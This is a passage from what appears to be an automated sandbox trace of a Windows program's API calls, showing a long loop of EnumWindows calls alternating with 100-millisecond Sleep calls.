EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.724] Sleep (dwMilliseconds=0x64) [0126.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.726] Sleep (dwMilliseconds=0x64) [0126.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.727] Sleep (dwMilliseconds=0x64) [0126.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.729] Sleep (dwMilliseconds=0x64) [0126.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.731] Sleep (dwMilliseconds=0x64) [0126.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.733] Sleep (dwMilliseconds=0x64) [0126.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.735] Sleep (dwMilliseconds=0x64) [0126.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.736] Sleep (dwMilliseconds=0x64) [0126.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.738] Sleep (dwMilliseconds=0x64) [0126.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.739] Sleep (dwMilliseconds=0x64) [0126.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.741] Sleep (dwMilliseconds=0x64) [0126.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.743] Sleep (dwMilliseconds=0x64) [0126.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.745] Sleep (dwMilliseconds=0x64) [0126.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.747] Sleep (dwMilliseconds=0x64) [0126.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.749] Sleep (dwMilliseconds=0x64) [0126.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.751] Sleep (dwMilliseconds=0x64) [0126.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.753] Sleep (dwMilliseconds=0x64) [0126.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.757] Sleep (dwMilliseconds=0x64) [0126.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.759] Sleep (dwMilliseconds=0x64) [0126.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.760] Sleep (dwMilliseconds=0x64) [0126.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.762] Sleep (dwMilliseconds=0x64) [0126.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.799] Sleep (dwMilliseconds=0x64) [0126.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.821] Sleep (dwMilliseconds=0x64) [0126.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.824] Sleep (dwMilliseconds=0x64) [0126.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.826] Sleep (dwMilliseconds=0x64) [0126.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.836] Sleep (dwMilliseconds=0x64) [0126.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.884] Sleep (dwMilliseconds=0x64) [0126.938] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.938] Sleep (dwMilliseconds=0x64) [0126.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.968] Sleep (dwMilliseconds=0x64) [0126.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.970] Sleep (dwMilliseconds=0x64) [0126.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.972] Sleep (dwMilliseconds=0x64) [0126.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.973] Sleep (dwMilliseconds=0x64) [0126.974] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.975] Sleep (dwMilliseconds=0x64) [0126.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.976] Sleep (dwMilliseconds=0x64) [0126.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.977] Sleep (dwMilliseconds=0x64) [0126.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.979] Sleep (dwMilliseconds=0x64) [0126.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.980] Sleep (dwMilliseconds=0x64) [0126.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.982] Sleep (dwMilliseconds=0x64) [0126.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.984] Sleep (dwMilliseconds=0x64) [0126.985] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.000] Sleep (dwMilliseconds=0x64) [0127.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.005] Sleep (dwMilliseconds=0x64) [0127.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.006] Sleep (dwMilliseconds=0x64) [0127.008] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.008] Sleep (dwMilliseconds=0x64) [0127.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.010] Sleep (dwMilliseconds=0x64) [0127.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.012] Sleep (dwMilliseconds=0x64) [0127.013] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.013] Sleep (dwMilliseconds=0x64) [0127.015] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.015] Sleep (dwMilliseconds=0x64) [0127.016] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.016] Sleep (dwMilliseconds=0x64) [0127.018] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.018] Sleep (dwMilliseconds=0x64) [0127.019] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.019] Sleep (dwMilliseconds=0x64) [0127.021] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.021] Sleep (dwMilliseconds=0x64) [0127.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.023] Sleep (dwMilliseconds=0x64) [0127.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.024] Sleep (dwMilliseconds=0x64) [0127.025] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.026] Sleep (dwMilliseconds=0x64) [0127.027] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.027] Sleep (dwMilliseconds=0x64) [0127.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.030] Sleep (dwMilliseconds=0x64) [0127.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.032] Sleep (dwMilliseconds=0x64) [0127.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.033] Sleep (dwMilliseconds=0x64) [0127.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.035] Sleep (dwMilliseconds=0x64) [0127.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.036] Sleep (dwMilliseconds=0x64) [0127.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.038] Sleep (dwMilliseconds=0x64) [0127.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.039] Sleep (dwMilliseconds=0x64) [0127.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.041] Sleep (dwMilliseconds=0x64) [0127.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.042] Sleep (dwMilliseconds=0x64) [0127.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.044] Sleep (dwMilliseconds=0x64) [0127.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.045] Sleep (dwMilliseconds=0x64) [0127.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.047] Sleep (dwMilliseconds=0x64) [0127.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.048] Sleep (dwMilliseconds=0x64) [0127.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.050] Sleep (dwMilliseconds=0x64) [0127.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.052] Sleep (dwMilliseconds=0x64) [0127.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.054] Sleep (dwMilliseconds=0x64) [0127.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.055] Sleep (dwMilliseconds=0x64) [0127.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.057] Sleep (dwMilliseconds=0x64) [0127.058] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.059] Sleep (dwMilliseconds=0x64) [0127.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.067] Sleep (dwMilliseconds=0x64) [0127.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.069] Sleep (dwMilliseconds=0x64) [0127.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.073] Sleep (dwMilliseconds=0x64) [0127.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.074] Sleep (dwMilliseconds=0x64) [0127.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.076] Sleep (dwMilliseconds=0x64) [0127.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.077] Sleep (dwMilliseconds=0x64) [0127.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.079] Sleep (dwMilliseconds=0x64) [0127.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.080] Sleep (dwMilliseconds=0x64) [0127.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.082] Sleep (dwMilliseconds=0x64) [0127.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.084] Sleep (dwMilliseconds=0x64) [0127.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.085] Sleep (dwMilliseconds=0x64) [0127.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.087] Sleep (dwMilliseconds=0x64) [0127.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.089] Sleep (dwMilliseconds=0x64) [0127.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.090] Sleep (dwMilliseconds=0x64) [0127.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.092] Sleep (dwMilliseconds=0x64) [0127.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.094] Sleep (dwMilliseconds=0x64) [0127.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.096] Sleep (dwMilliseconds=0x64) [0127.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.098] Sleep (dwMilliseconds=0x64) [0127.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.099] Sleep (dwMilliseconds=0x64) [0127.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.100] Sleep (dwMilliseconds=0x64) [0127.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.102] Sleep (dwMilliseconds=0x64) [0127.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.104] Sleep (dwMilliseconds=0x64) [0127.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.106] Sleep (dwMilliseconds=0x64) [0127.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.108] Sleep (dwMilliseconds=0x64) [0127.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.110] Sleep (dwMilliseconds=0x64) [0127.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.112] Sleep (dwMilliseconds=0x64) [0127.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.118] Sleep (dwMilliseconds=0x64) [0127.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.120] Sleep (dwMilliseconds=0x64) [0127.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.121] Sleep (dwMilliseconds=0x64) [0127.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.123] Sleep (dwMilliseconds=0x64) [0127.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.125] Sleep (dwMilliseconds=0x64) [0127.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.127] Sleep (dwMilliseconds=0x64) [0127.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.129] Sleep (dwMilliseconds=0x64) [0127.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.131] Sleep (dwMilliseconds=0x64) [0127.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.133] Sleep (dwMilliseconds=0x64) [0127.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.135] Sleep (dwMilliseconds=0x64) [0127.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.137] Sleep (dwMilliseconds=0x64) [0127.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.139] Sleep (dwMilliseconds=0x64) [0127.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.140] Sleep (dwMilliseconds=0x64) [0127.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.142] Sleep (dwMilliseconds=0x64) [0127.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.144] Sleep (dwMilliseconds=0x64) [0127.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.146] Sleep (dwMilliseconds=0x64) [0127.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.147] Sleep (dwMilliseconds=0x64) [0127.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.149] Sleep (dwMilliseconds=0x64) [0127.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.151] Sleep (dwMilliseconds=0x64) [0127.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.152] Sleep (dwMilliseconds=0x64) [0127.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.153] Sleep (dwMilliseconds=0x64) [0127.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.155] Sleep (dwMilliseconds=0x64) [0127.157] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.157] Sleep (dwMilliseconds=0x64) [0127.159] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.159] Sleep (dwMilliseconds=0x64) [0127.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.160] Sleep (dwMilliseconds=0x64) [0127.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.162] Sleep (dwMilliseconds=0x64) [0127.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.164] Sleep (dwMilliseconds=0x64) [0127.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.165] Sleep (dwMilliseconds=0x64) [0127.167] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.167] Sleep (dwMilliseconds=0x64) [0127.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.169] Sleep (dwMilliseconds=0x64) [0127.171] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.171] Sleep (dwMilliseconds=0x64) [0127.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.173] Sleep (dwMilliseconds=0x64) [0127.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.174] Sleep (dwMilliseconds=0x64) [0127.175] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.176] Sleep (dwMilliseconds=0x64) [0127.177] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.178] Sleep (dwMilliseconds=0x64) [0127.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.180] Sleep (dwMilliseconds=0x64) [0127.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.182] Sleep (dwMilliseconds=0x64) [0127.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.191] Sleep (dwMilliseconds=0x64) [0127.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.193] Sleep (dwMilliseconds=0x64) [0127.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.195] Sleep (dwMilliseconds=0x64) [0127.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.196] Sleep (dwMilliseconds=0x64) [0127.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.198] Sleep (dwMilliseconds=0x64) [0127.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.199] Sleep (dwMilliseconds=0x64) [0127.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.262] Sleep (dwMilliseconds=0x64) [0127.263] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.264] Sleep (dwMilliseconds=0x64) [0127.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.266] Sleep (dwMilliseconds=0x64) [0127.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.267] Sleep (dwMilliseconds=0x64) [0127.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.269] Sleep (dwMilliseconds=0x64) [0127.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.861] Sleep (dwMilliseconds=0x64) [0127.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.863] Sleep (dwMilliseconds=0x64) [0127.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.865] Sleep (dwMilliseconds=0x64) [0127.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.867] Sleep (dwMilliseconds=0x64) [0127.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.869] Sleep (dwMilliseconds=0x64) [0127.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.870] Sleep (dwMilliseconds=0x64) [0127.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.872] Sleep (dwMilliseconds=0x64) [0127.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.874] Sleep (dwMilliseconds=0x64) [0127.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.875] Sleep (dwMilliseconds=0x64) [0127.877] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.877] Sleep (dwMilliseconds=0x64) [0127.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.879] Sleep (dwMilliseconds=0x64) [0127.880] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.881] Sleep (dwMilliseconds=0x64) [0127.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.883] Sleep (dwMilliseconds=0x64) [0127.884] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.884] Sleep (dwMilliseconds=0x64) [0127.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.886] Sleep (dwMilliseconds=0x64) [0127.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.889] Sleep (dwMilliseconds=0x64) [0127.890] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.891] Sleep (dwMilliseconds=0x64) [0127.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.892] Sleep (dwMilliseconds=0x64) [0127.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.894] Sleep (dwMilliseconds=0x64) [0127.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.896] Sleep (dwMilliseconds=0x64) [0127.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.898] Sleep (dwMilliseconds=0x64) [0127.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.899] Sleep (dwMilliseconds=0x64) [0127.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.902] Sleep (dwMilliseconds=0x64) [0127.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.903] Sleep (dwMilliseconds=0x64) [0127.904] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.905] Sleep (dwMilliseconds=0x64) [0127.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.906] Sleep (dwMilliseconds=0x64) [0127.908] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.908] Sleep (dwMilliseconds=0x64) [0127.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.910] Sleep (dwMilliseconds=0x64) [0127.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.912] Sleep (dwMilliseconds=0x64) [0127.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.914] Sleep (dwMilliseconds=0x64) [0127.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.915] Sleep (dwMilliseconds=0x64) [0127.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.917] Sleep (dwMilliseconds=0x64) [0127.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.919] Sleep (dwMilliseconds=0x64) [0127.920] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.921] Sleep (dwMilliseconds=0x64) [0127.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.922] Sleep (dwMilliseconds=0x64) [0127.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.924] Sleep (dwMilliseconds=0x64) [0127.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.926] Sleep (dwMilliseconds=0x64) [0127.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.929] Sleep (dwMilliseconds=0x64) [0127.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.932] Sleep (dwMilliseconds=0x64) [0127.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.934] Sleep (dwMilliseconds=0x64) [0127.935] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.935] Sleep (dwMilliseconds=0x64) [0127.936] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.937] Sleep (dwMilliseconds=0x64) [0127.938] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.938] Sleep (dwMilliseconds=0x64) [0127.939] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.940] Sleep (dwMilliseconds=0x64) [0127.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.941] Sleep (dwMilliseconds=0x64) [0127.943] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.943] Sleep (dwMilliseconds=0x64) [0127.945] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.946] Sleep (dwMilliseconds=0x64) [0127.948] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.948] Sleep (dwMilliseconds=0x64) [0127.950] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.951] Sleep (dwMilliseconds=0x64) [0127.952] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.952] Sleep (dwMilliseconds=0x64) [0127.954] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.954] Sleep (dwMilliseconds=0x64) [0127.956] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.956] Sleep (dwMilliseconds=0x64) [0127.957] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.957] Sleep (dwMilliseconds=0x64) [0127.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.960] Sleep (dwMilliseconds=0x64) [0127.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.962] Sleep (dwMilliseconds=0x64) [0127.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.963] Sleep (dwMilliseconds=0x64) [0127.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.965] Sleep (dwMilliseconds=0x64) [0127.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.968] Sleep (dwMilliseconds=0x64) [0127.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.971] Sleep (dwMilliseconds=0x64) [0127.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.972] Sleep (dwMilliseconds=0x64) [0127.974] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.974] Sleep (dwMilliseconds=0x64) [0127.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.976] Sleep (dwMilliseconds=0x64) [0127.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.977] Sleep (dwMilliseconds=0x64) [0127.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.979] Sleep (dwMilliseconds=0x64) [0127.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.980] Sleep (dwMilliseconds=0x64) [0127.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.982] Sleep (dwMilliseconds=0x64) [0127.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.984] Sleep (dwMilliseconds=0x64) [0127.985] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.985] Sleep (dwMilliseconds=0x64) [0127.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.987] Sleep (dwMilliseconds=0x64) [0127.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.989] Sleep (dwMilliseconds=0x64) [0127.990] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.991] Sleep (dwMilliseconds=0x64) [0127.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.992] Sleep (dwMilliseconds=0x64) [0127.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.993] Sleep (dwMilliseconds=0x64) [0127.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.995] Sleep (dwMilliseconds=0x64) [0127.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.997] Sleep (dwMilliseconds=0x64) [0127.998] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0127.998] Sleep (dwMilliseconds=0x64) [0128.000] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.000] Sleep (dwMilliseconds=0x64) [0128.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.001] Sleep (dwMilliseconds=0x64) [0128.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.003] Sleep (dwMilliseconds=0x64) [0128.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.005] Sleep (dwMilliseconds=0x64) [0128.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.007] Sleep (dwMilliseconds=0x64) [0128.008] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.008] Sleep (dwMilliseconds=0x64) [0128.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.010] Sleep (dwMilliseconds=0x64) [0128.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.372] Sleep (dwMilliseconds=0x64) [0128.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.434] Sleep (dwMilliseconds=0x64) [0128.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.436] Sleep (dwMilliseconds=0x64) [0128.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.441] Sleep (dwMilliseconds=0x64) [0128.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.445] Sleep (dwMilliseconds=0x64) [0128.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.447] Sleep (dwMilliseconds=0x64) [0128.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.449] Sleep (dwMilliseconds=0x64) [0128.452] 